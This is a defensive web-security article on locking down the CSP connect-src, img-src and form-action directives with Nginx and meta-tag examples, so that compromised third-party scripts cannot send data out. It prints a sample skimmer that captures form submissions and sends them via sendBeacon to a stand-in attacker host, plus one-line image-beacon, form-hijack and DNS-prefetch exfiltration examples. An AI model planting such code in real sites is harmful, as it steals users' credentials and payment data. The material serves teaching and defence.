CSP connect-src Isn't Optional: Stopping Compromised Third-Party Scripts
Allowlisting a vendor <script> in script-src isn't enough. Locking down connect-src prevents a compromised third-party script from exfiltrating scraped data to attacker-controlled domains.
Most engineering teams treat Content Security Policy (CSP) as a binary defense against Cross-Site Scripting (XSS): lock down script-src, allowlist your CDN and analytics provider, and call it a day.
Unfortunately, modern client-side compromises rarely rely on injecting a brand-new <script> tag into your DOM. Instead, attackers compromise a vendor you already trust (an A/B testing snippet, customer chat widget, or telemetry SDK) that is already sitting in your script-src allowlist.
Real-World Receipt (Nov 2026): During the Optimizely supply-chain attack that hit 178 major sites, attackers piggybacked on an already-trusted script origin. Post-incident analysis showed that only 15% of affected sites had a strict enough CSP (
connect-src,form-action, andimg-src) to block payload delivery and data exfiltration once the vendor bundle executed.
Once malicious code executes inside an allowlisted script, script-src has already done its job and stepped aside. What stops that payload from harvesting session tokens, form inputs, or PII from localStorage and shipping them to an attacker-controlled drop server?
The answer is connect-src.
The Anatomy of a Third-Party Exfiltration Attack
Suppose your marketing site or web application loads an A/B testing script from https://cdn.trusted-ab-test.example/sdk.js. Because your team needed that script to run, your CSP includes:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted-ab-test.example;
What happens if you omit connect-src, or worse, set connect-src * because someone got tired of CSP console errors during local testing?
- While
default-src 'self'acts as a fallback forconnect-src, many production policies explicitly widenconnect-srctohttps:or*to accommodate dynamic API endpoints and third-party telemetry beacons. - If
sdk.jsis compromised upstream (Magecart-style supply-chain attack), the injected JavaScript runs with full access to the page context. - The malicious payload attaches an event listener to checkout or login forms and exfiltrates credentials via
fetch(),XMLHttpRequest,navigator.sendBeacon(), orWebSocket:
// Malicious payload inside a compromised 3rd-party analytics bundle
document.querySelector('form')?.addEventListener('submit', (event) => {
const formData = Object.fromEntries(new FormData(event.target));
navigator.sendBeacon(
'https://collector.attacker-controlled.example/ingest',
JSON.stringify({
origin: window.location.origin,
payload: formData,
})
);
});
How connect-src Blocks the Exfiltration Channel
The connect-src directive restricts the URLs that can be loaded using script interfaces:
fetch()andXMLHttpRequestnavigator.sendBeacon()WebSocket(ws:/wss:)EventSource(Server-Sent Events)<a ping>auditing
When you explicitly lock connect-src to the exact origins that receive telemetry or API calls, the browser blocks any network request to an unlisted domain, even when initiated by an allowlisted script.
| API / Mechanism | Governed by script-src? |
Governed by connect-src? |
|---|---|---|
<script src="..."> |
Yes | No |
fetch() / XHR |
No | Yes |
navigator.sendBeacon() |
No | Yes |
new WebSocket(...) |
No | Yes |
new EventSource(...) |
No | Yes |
Production-Ready Nginx Configuration
Below is a hardened Nginx configuration (Nginx 1.25.1+) that enforces a strict connect-src allowlist alongside essential browser security headers:
server {
listen 443 ssl;
http2 on;
server_name xapu.dev;
# Strict Content Security Policy with explicit connect-src boundary
# Fallback for any unlisted fetch directive: allow same-origin resources only
set $csp_default "default-src 'self';";
# Allow JavaScript execution only from same-origin and the trusted A/B testing CDN
set $csp_script "script-src 'self' https://cdn.trusted-ab-test.example;";
# Allow stylesheets from same-origin and inline styles (replace 'unsafe-inline' with nonces if possible)
set $csp_style "style-src 'self' 'unsafe-inline';";
# Allow images only from same-origin and data: URIs (blocks image-beacon exfiltration)
set $csp_img "img-src 'self' data:;";
# Allow web fonts only from same-origin
set $csp_font "font-src 'self';";
# Restrict fetch(), XHR, sendBeacon(), WebSocket, and EventSource to same-origin and the vendor telemetry host
set $csp_connect "connect-src 'self' https://telemetry.trusted-ab-test.example;";
# Disable legacy plugins (object-src 'none'), lock <base> and form submissions to 'self', block framing, and force HTTPS
set $csp_hardening "object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests;";
# Roll out with Content-Security-Policy-Report-Only first, then switch to enforcing:
add_header Content-Security-Policy "${csp_default} ${csp_script} ${csp_style} ${csp_img} ${csp_font} ${csp_connect} ${csp_hardening}" always;
# Defense-in-depth companion headers
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header X-DNS-Prefetch-Control "off" always;
}
Nginx Gotcha: If any nested
locationblock defines its ownadd_header(such asCache-Controlfor static assets), Nginx stops inheriting server-leveladd_headerdirectives in that block. Repeat your CSP header inside thoselocationblocks or move shared headers into aninclude security-headers.conf;snippet.
No Access to HTTP Headers? HTML <meta> Tag Fallback
If you deploy to static hosting where you cannot set custom HTTP response headers (like GitHub Pages or a plain object-storage bucket), you can enforce connect-src and other fetch directives directly inside <head> as early as possible:
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' https://cdn.trusted-ab-test.example; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self' https://telemetry.trusted-ab-test.example; object-src 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests;"
/>
HTTP Header vs.
<meta>Trade-Offs: Always prefer an HTTP response header (Nginx, Cloudflare_headers, orfirebase.json) when you have server or CDN control. Browsers ignoreframe-ancestors,report-uri, andsandboxinside<meta>tags, and<meta>does not supportContent-Security-Policy-Report-Onlyfor safe staged rollouts.
Don’t Forget Non-connect-src Exfiltration Vectors
A determined attacker blocked by connect-src will immediately fall back to secondary exfiltration channels:
- Image Beacons (
new Image().src = 'https://attacker.example/?d=' + data): Never setimg-src *orimg-src https:. Keepimg-src 'self' data:(plus your explicit image CDN). - Form Hijacking (
form.action = 'https://attacker.example'): Always specifyform-action 'self', which does not fall back todefault-src. - DNS Prefetch Exfiltration (
<link rel="dns-prefetch" href="//secret.attacker.example">): CSP does not cover DNS prefetching. Disable it explicitly withX-DNS-Prefetch-Control: off. - Sensitive Route Exposure: Even a strict CSP allows a vendor script to talk to its own allowed telemetry domain. That is why Day 02 strips third-party tags off
/loginand/checkoutcompletely.
Verify It in 60 Seconds
Inspect your live production CSP header and confirm there are no wildcard connect-src * or https: grants, then test an unauthorized fetch() in DevTools Console:
# 1. Inspect the active CSP header from production
curl -sI https://your-domain.example | grep -i '^content-security-policy'
// 2. Run in Browser DevTools Console on your site (must throw a CSP violation)
fetch('https://example.com/exfil-test').catch(console.error);
Key Takeaway for Day 01
Never use connect-src https: or connect-src * in production. Roll out changes with Content-Security-Policy-Report-Only, separate the origin hosting a third-party script (script-src) from its exact ingestion endpoint (connect-src), and pair it with strict img-src, form-action, and X-DNS-Prefetch-Control: off to close the exfiltration loop.
References
Documentation
Real-World Incidents
- Report URI: World’s Largest Brands Infected With Malware via Optimizely (Nov 2026) — Malicious JavaScript injected into Optimizely project snippets across 178 organizations, served from an already-trusted CDN.
- LottieFiles: Resolution of Security Incident With
@lottiefiles/lottie-player(Oct 2024) — Compromised npm versions (2.0.5–2.0.7) pulled via public CDNs injecting Web3 wallet-draining pop-ups. - Sansec Research: Polyfill.io Supply-Chain Attack (Jun 2024) — Domain ownership change weaponizing
cdn.polyfill.ioacross 100,000+ websites. - BleepingComputer: British Airways Fell Victim to Card-Scraping Attack (Sep 2018) — Magecart appended 22 lines to a self-hosted Modernizr script, exfiltrating payment card data via XHR to
baways.com.